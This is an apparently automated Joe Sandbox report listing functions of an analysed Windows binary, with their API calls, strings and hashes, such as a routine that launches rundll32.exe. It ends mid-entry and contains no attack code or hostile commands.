Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ea27bce258cb8104d6b861719c5da89d496eb21a3c023f5dc1add92af63a0dd2
Instruction ID: 217998b8d93924a701924f9bc09c61904ba2a6b52672d43758fa5006cb03f864
Opcode Fuzzy Hash: ea27bce258cb8104d6b861719c5da89d496eb21a3c023f5dc1add92af63a0dd2
Instruction Fuzzy Hash: 3C9002742526004A47046F716C1D58525A07B4DB1A7825550A056E4155DA514149D511

Function 00E12100 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 165windowthreadCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001200,00000000,?,00000400,?,00000100,00000000), ref: 00E121D8
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?), ref: 00E1223F

Strings

[%hs], xrefs: 00E122D8
, xrefs: 00E12273
%hs!%p: , xrefs: 00E1220A
CallContext:[%hs] , xrefs: 00E122A3
ReturnHr, xrefs: 00E1219E
LogHr, xrefs: 00E12192
Exception, xrefs: 00E121AA
[%hs(%hs)], xrefs: 00E122BE
(caller: %p) , xrefs: 00E12224
Msg:[%ws] , xrefs: 00E1228B
FailFast, xrefs: 00E12186
%hs(%u)\%hs!%p: , xrefs: 00E121F9
%hs(%d) tid(%x) %08X %ws, xrefs: 00E1224F

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: CurrentFormatMessageThread
String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$Msg:[%ws] $ReturnHr$[%hs(%hs)]$[%hs]
API String ID: 2411632146-3173542853
Opcode ID: 6916cfa6827ff92fbbff5a14e19bc5844cb2390b2f8dd2d66b680680196907d0
Instruction ID: 66791140660ac3f9e4e86b6fcacbff341fe5f58ddfea1ee4668a0fe6df921a79
Opcode Fuzzy Hash: 6916cfa6827ff92fbbff5a14e19bc5844cb2390b2f8dd2d66b680680196907d0
Instruction Fuzzy Hash: F5512671600300BBDB309F658C09FEB76F9EB59704F046A9DF306B21A2DA7299E4CB51

Function 00E13B09 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 107processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00E13A51: CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00E13A7B
Part of subcall function 00E13A51: memset.MSVCRT ref: 00E13A8F
Part of subcall function 00E13A51: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00000040,?,00000000,00000000), ref: 00E13AA6
Part of subcall function 00E13A51: SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00000000,00000000), ref: 00E13AC1
Part of subcall function 00E13A51: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,000000F8,?,00000000), ref: 00E13AE1
Part of subcall function 00E13A51: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00E13AF3

GetCurrentProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?), ref: 00E13B39
IsWow64Process2.API-MS-WIN-CORE-WOW64-L1-1-1(00000000), ref: 00E13B40
GetSystemDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,000000F6), ref: 00E13B6C
PathCchAppend.API-MS-WIN-CORE-PATH-L1-1-0(?,00000105,rundll32.exe), ref: 00E13B87
RtlWow64IsWowGuestMachineSupported.NTDLL ref: 00E13BA9
GetSystemWow64Directory2W.API-MS-WIN-CORE-WOW64-L1-1-1(?,000000F6,?), ref: 00E13BC9
Wow64EnableWow64FsRedirection.API-MS-WIN-CORE-KERNEL32-PRIVATE-L1-1-0(00000000), ref: 00E13BD4
memset.MSVCRT ref: 00E13BE6
GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00E13C08
CreateProcessW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,00000000), ref: 00E13C16
Wow64EnableWow64FsRedirection.API-MS-WIN-CORE-KERNEL32-PRIVATE-L1-1-0(00000001), ref: 00E13C20
WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,000000FF), ref: 00E13C36
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 00E13C44
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 00E13C50

Strings

rundll32.exe, xrefs: 00E13B76

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: Wow64$File$CloseHandle$CreateEnableProcessReadRedirectionSystemmemset$AppendCommandCurrentDirectoryDirectory2GuestLineMachineObjectPathPointerProcess2SingleSupportedWait
String ID: rundll32.exe
API String ID: 1294557600-3034741169
Opcode ID: d4f45e43263cb4374a23ee49192e36b297ed7a2e21aaa097fc1da9b14681d4c2
Instruction ID: 7e9a7c4eeeee4aa5d3c5ff9f6babe55f97b23f2f156e639d03dbbd171eaa68fa
Opcode Fuzzy Hash: d4f45e43263cb4374a23ee49192e36b297ed7a2e21aaa097fc1da9b14681d4c2
Instruction Fuzzy Hash: 4B314F72A01129ABDB219F719C8DFEA77BDAB04700F0541A5E50AF2051EB349FC9DB50

Function 00E137C3 Relevance: 15.1, APIs: 10, Instructions: 102threadCOMMON

Download Yara Rule

APIs

CoInitializeEx.API-MS-WIN-CORE-COM-L1-1-0(00000000,00000002), ref: 00E137D4
CoInitializeSecurity.API-MS-WIN-CORE-COM-L1-1-0(00E119CC,00000000,00000000,00000000,00000000,00000000,00000000,00000008,00000000), ref: 00E137F0
CoUninitialize.API-MS-WIN-CORE-COM-L1-1-0 ref: 00E138E7

Part of subcall function 00E1205A: CoCreateInstance.API-MS-WIN-CORE-COM-L1-1-0(00E1161C,00000000,00000001,00E11940,?), ref: 00E12072

CreateEventW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000001,00000000,00000000), ref: 00E13808
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00E1381D

Part of subcall function 00E153AD: InitOnceExecuteOnce.API-MS-WIN-CORE-SYNCH-L1-2-0(00E184A4,00E153D0,00000000,00000000,00E1382A), ref: 00E153BB

CreateEventW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000000,00000000,?), ref: 00E13866
SetEvent.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000), ref: 00E13873
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00E1387A
CoWaitForMultipleHandles.API-MS-WIN-CORE-COM-L1-1-0(00000000,00007530,00000001,00E18420,?), ref: 00E13897
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00E138D9

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: CreateEvent$CloseHandleInitializeOnce$CurrentExecuteHandlesInitInstanceMultipleSecurityThreadUninitializeWait
String ID:
API String ID: 2536006573-0
Opcode ID: 792eafabc6bba838ac250b4c2223580624d4f7c85561604e3c8429f3dc4cfaaf
Instruction ID: 22bc03e2a6917546130d14c3044dcc113dd0e2cea00550fa17f7b297b7119194
Opcode Fuzzy Hash: 792eafabc6bba838ac250b4c2223580624d4f7c85561604e3c8429f3dc4cfaaf
Instruction Fuzzy Hash: 853184B1600305EFE7046FB2AD8DEEE7AADFB487497049029F516F2191DFB4D9888721

Function 00E138F0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116fileCOMMON

Download Yara Rule

APIs

LoadStringW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,000000C8), ref: 00E1391E
LoadStringW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,00000402,?,000000C8,?,000000C8), ref: 00E13963
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(CONOUT$,C0000000,00000003,00000000,00000003,00000000,00000000,?,00000402,?,000000C8,?,000000C8), ref: 00E13992
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000001,?,?,?,00000000,?,00000402,?,000000C8,?,000000C8), ref: 00E139D0
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000001,00E11844,00000002,?,00000000,?,00000402,?,000000C8,?,000000C8), ref: 00E139E6
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000001,?,?,?,00000000,?,00000402,?,000000C8,?,000000C8), ref: 00E13A15
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000001,?,00000402,?,000000C8,?,000000C8), ref: 00E13A1C

Strings

CONOUT$, xrefs: 00E1398D

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ConsoleWrite$LoadString$CloseCreateFileHandle
String ID: CONOUT$
API String ID: 258192622-3130406586
Opcode ID: c6b9f07a532e886a46f27c1372232a79b8313b1b267bff60f52963d876fa26c2
Instruction ID: 7ce33db16dc779f84aa7a45f206e573d633720a59f17f7f06223d0dc89ec6d0f
Opcode Fuzzy Hash: c6b9f07a532e886a46f27c1372232a79b8313b1b267bff60f52963d876fa26c2
Instruction Fuzzy Hash: F8319331500119AFEB20DB25CD55FEB77BCEF49705F048095FA0AB6181E670AB49CE60

Function 00E133F9 Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000), ref: 00E13431
DecodePointer.API-MS-WIN-CORE-UTIL-L1-1-0(?), ref: 00E13443
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000), ref: 00E1346A
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000), ref: 00E1347C
AcquireSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000), ref: 00E134CF
EncodePointer.API-MS-WIN-CORE-UTIL-L1-1-0(?), ref: 00E134E1
DecodePointer.API-MS-WIN-CORE-UTIL-L1-1-0(00000000), ref: 00E134EF
ReleaseSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0(?), ref: 00E1350F

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: Lock$PointerReleaseShared$AcquireDecodeExclusive$Encode
String ID:
API String ID: 3770696666-0
Opcode ID: 3d47986642877ba1033fa486805d9d3c3b2666693b932519922dc825d93bbc18
Instruction ID: 05a6c338c4d05feecafcb7c389b22679a57f1c0044265b0d1d01be5828ff784e
Opcode Fuzzy Hash: 3d47986642877ba1033fa486805d9d3c3b2666693b932519922dc825d93bbc18
Instruction Fuzzy Hash: 41414935A00228EFCB05CF65D8988ADBBBAFF49B147158099E916F7321DB30AE41CB50

Function 00E12B5A Relevance: 12.1, APIs: 8, Instructions: 100synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00000000,?), ref: 00E12B6D

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ObjectSingleWait
String ID:
API String ID: 24740636-0
Opcode ID: 436114e046c1bf0a640aa817a191b2127b5df7f13fa9fe598bdc9019383124e0
Instruction ID: 0add149a35da1b60952993ea2835edac84085e316784408b8be8db56aa1f1ee6
Opcode Fuzzy Hash: 436114e046c1bf0a640aa817a191b2127b5df7f13fa9fe598bdc9019383124e0
Instruction Fuzzy Hash: 4931917070410AABEB205E66DC88BEF7769EF41358F209039F712F6281D774CDE69692

Function 00E13D62 Relevance: 12.1, APIs: 8, Instructions: 98libraryloadermemoryCOMMON

Download Yara Rule

APIs

_wtoi.MSVCRT(?), ref: 00E13D94
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?), ref: 00E13DA0
LocalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(00000000,?), ref: 00E13DD3
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00000400,?,?,00000000,?,00000000,00000000), ref: 00E13DF1
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00E13E13
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00E13E30
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00E13E43
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(00000000,?,?,00000000,?,00000000,00000000), ref: 00E13E4C

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: AddressProc$Local$AllocByteCharFreeMultiWide_wtoi
String ID:
API String ID: 3528786098-0
Opcode ID: e6a8c2e41e977ffe783a81075f720945458c185daaa24222c800a0c695f21523
Instruction ID: 809e8abf10fd7144da5f91f83b5b7b87252c443fd0214b392c25fd367304743b
Opcode Fuzzy Hash: e6a8c2e41e977ffe783a81075f720945458c185daaa24222c800a0c695f21523
Instruction Fuzzy Hash: E531BF79600212EFCB214F65DC589EBBFB9EF497147148169FD06E3251D7708E45C6A0

Function 00E13A51 Relevance: 9.1, APIs: 6, Instructions: 68fileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00E13A7B
memset.MSVCRT ref: 00E13A8F
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00000040,?,00000000,00000000), ref: 00E13AA6
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00000000,00000000), ref: 00E13AC1
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,000000F8,?,00000000), ref: 00E13AE1
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00E13AF3

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: File$Read$CloseCreateHandlePointermemset
String ID:
API String ID: 3827546496-0
Opcode ID: e7fd4b39a804c15b3e9239b9d382525ef5f3d4b81c363faf671282b895b4f964
Instruction ID: dc2958efb9da8f21a76deae9b8c93cbd8b9a86d442dd618948ee603d9d866cc8
Opcode Fuzzy Hash: e7fd4b39a804c15b3e9239b9d382525ef5f3d4b81c363faf671282b895b4f964
Instruction Fuzzy Hash: BB1193356001247BD7209B669C49FEF7B7CEF45720F004154FA18F20D0EA748A89CA61

Function 00E15695 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 245COMMON

Download Yara Rule

APIs

CharNextW.API-MS-WIN-CORE-STRING-L2-1-0(?,00000000,?,00000000,?), ref: 00E15885

Strings

localserver, xrefs: 00E1573A
/, xrefs: 00E156A5
sta, xrefs: 00E15724

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: CharNext
String ID: /$localserver$sta
API String ID: 3213498283-3694077230
Opcode ID: a8b02addacd83a943a3e92ddef04de22d194b8f486f2a6b2f03eb39dd6952af5
Instruction ID: 039878abd93e49c1574dbdd5e6c195331244f5aa834c9940c94d60a6919c5793
Opcode Fuzzy Hash: a8b02addacd83a943a3e92ddef04de22d194b8f486f2a6b2f03eb39dd6952af5
Instruction Fuzzy Hash: D471A07AA00616DBCF24DF5984112F9B3F1EFD8758BA4546AE895FB2C0EA708EC1C750

Function 00E15490 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

RoOriginateError.API-MS-WIN-CORE-WINRT-ERROR-L1-1-0(80040111,?), ref: 00E155D9

Part of subcall function 00E133F9: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000), ref: 00E13431
Part of subcall function 00E133F9: DecodePointer.API-MS-WIN-CORE-UTIL-L1-1-0(?), ref: 00E13443
Part of subcall function 00E133F9: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000), ref: 00E1346A

RoOriginateErrorW.API-MS-WIN-CORE-WINRT-ERROR-L1-1-0(80070057,00000012,?), ref: 00E15616

Strings

?i, xrefs: 00E1554F
activatibleClassId, xrefs: 00E155FE

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ErrorLockOriginateShared$AcquireDecodePointerRelease
String ID: ?i$activatibleClassId
API String ID: 3068322146-27705284
Opcode ID: a1fc1db2f4460dff51c90d9353501a4b6bcbe197e32a6e160886656e60fbdfb2
Instruction ID: 201ba0dd5dbf5025ac2e6cc36f9f523bf6f2b2650400443b666918fec0e3f416
Opcode Fuzzy Hash: a1fc1db2f4460dff51c90d9353501a4b6bcbe197e32a6e160886656e60fbdfb2
Instruction Fuzzy Hash: 7C41CE72A10618EFCB14DF65EC44AEEB7BBFF88710B514015E802B7251DB31AD81CBA0

Function 00E124E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(kernelbase.dll), ref: 00E124EB
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,RaiseFailFastException), ref: 00E124F7

Strings

kernelbase.dll, xrefs: 00E124E6
RaiseFailFastException, xrefs: 00E124F1

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RaiseFailFastException$kernelbase.dll
API String ID: 1646373207-919018592
Opcode ID: 74c5670d4f5c2b038e44e7e5b5c6cd562ad531efa8520e686469aefc5f70af7f
Instruction ID: cefb22ed7c5a9150cbdb607e60550ea245899a29fb28321ead39ec724b18744a
Opcode Fuzzy Hash: 74c5670d4f5c2b038e44e7e5b5c6cd562ad531efa8520e686469aefc5f70af7f
Instruction Fuzzy Hash: F7E01D36540329BF8F111FA2DC1CDCF7F2AEB497A17008451FE0972261CA318954D7E1

Function 00E13306 Relevance: 6.1, APIs: 4, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

AcquireSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000), ref: 00E13381
ReleaseSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000), ref: 00E1339A

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID:
API String ID: 17069307-0
Opcode ID: 14dbfe96edfcab6cddf725047507089f6104ba618341aedc4d873e8ff95141f9
Instruction ID: 284dae1ee19871f8168bfb56d4f7cab5e2d69251049d9647900ac660cc99d56b
Opcode Fuzzy Hash: 14dbfe96edfcab6cddf725047507089f6104ba618341aedc4d873e8ff95141f9
Instruction Fuzzy Hash: 5F31B471600124EFCB049F29D898AEDBBA9FF49710B0540A5E817FB361CF34AE41CB95

Function 00E13FE7 Relevance: 6.1, APIs: 4, Instructions: 55comCOMMON

Download Yara Rule

APIs

CoInitializeEx.API-MS-WIN-CORE-COM-L1-1-0(00000000,00000006), ref: 00E14003
CLSIDFromString.API-MS-WIN-CORE-COM-L1-1-0(?,?), ref: 00E14012
CoCreateInstance.API-MS-WIN-CORE-COM-L1-1-0(?,00000000,00000001,00E11970,?,?,?), ref: 00E1402D
CoUninitialize.API-MS-WIN-CORE-COM-L1-1-0(?,?), ref: 00E1405E

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: CreateFromInitializeInstanceStringUninitialize
String ID:
API String ID: 2575628211-0
Opcode ID: 6ec0fab223c115e797ef2e229384bf05555fdea2a8a6e2eec1441902c075c6e5
Instruction ID: 32d42df066c406bf9620e6ff1163f5b5911de789ee1da75c4ac7e6e31abdb6b9
Opcode Fuzzy Hash: 6ec0fab223c115e797ef2e229384bf05555fdea2a8a6e2eec1441902c075c6e5
Instruction Fuzzy Hash: 71112A71B00228AFD714DF66DC59AEE7BB9EB88710F004059E606F7291CB61A945CBA1

Function 00E15E80 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00E16598: GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 00E1659F

__set_app_type.MSVCRT ref: 00E15E92
__p__fmode.MSVCRT ref: 00E15EA8
__p__commode.MSVCRT ref: 00E15EB6
__setusermatherr.MSVCRT ref: 00E15ED7

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 83c8138221198985e59efc7ebf87528a7e500d5ce9ff777f6703ae9e5e5c725a
Instruction ID: 6ce2c7818e36082694cc06c1000cfad17c67a903b4d42d73b17445b8f3ab299d
Opcode Fuzzy Hash: 83c8138221198985e59efc7ebf87528a7e500d5ce9ff777f6703ae9e5e5c725a
Instruction Fuzzy Hash: 07F0F8B0940305DFDB24AF36B95A5C87BA1B705731B10AA19E462B22F6DF75859CCA10

Function 00E14751 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000040,?,00000000,00000000), ref: 00E14771
CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,?,00000000,001F0001,?,?,?,?,?,00000000), ref: 00E147A5

Part of subcall function 00E146CA: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,?,?,00E12B21,00000000,?,?), ref: 00E146DA
Part of subcall function 00E146CA: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,?,00E12B21,00000000,?,?), ref: 00E146E9

Strings

Local\SM0:%d:%d:%hs, xrefs: 00E14778

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ErrorLast$CreateCurrentMutexProcess
String ID: Local\SM0:%d:%d:%hs
API String ID: 779401067-4162240545
Opcode ID: bc53ea6865f5c5c622f4b237accab23d928316c782973ec2270ea25631e7ea3a
Instruction ID: 7bfe982f01d6b4b56a04c7459b895583c4738c3f6ebbdfb786928e88ca6d1b87
Opcode Fuzzy Hash: bc53ea6865f5c5c622f4b237accab23d928316c782973ec2270ea25631e7ea3a
Instruction Fuzzy Hash: 5541C4B1A0113CABCB259B64DC89AEA77A9AF54710F105199F509B7281D7708EC1CBD0

Function 00E12C6F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0(001F0003,00000000,?), ref: 00E12CC6
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00E12CD2

Strings

_p0, xrefs: 00E12CAD

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ErrorLastOpenSemaphore
String ID: _p0
API String ID: 1909229842-2437413317
Opcode ID: 6a886890aa9fe5dd5d8e717e2f1bee1d4a54209c3190a12b0fd9e265e8a61679
Instruction ID: f446f7036098cbf81319f579a2146712e952d788b37fca5966ef82ab257d9d5b
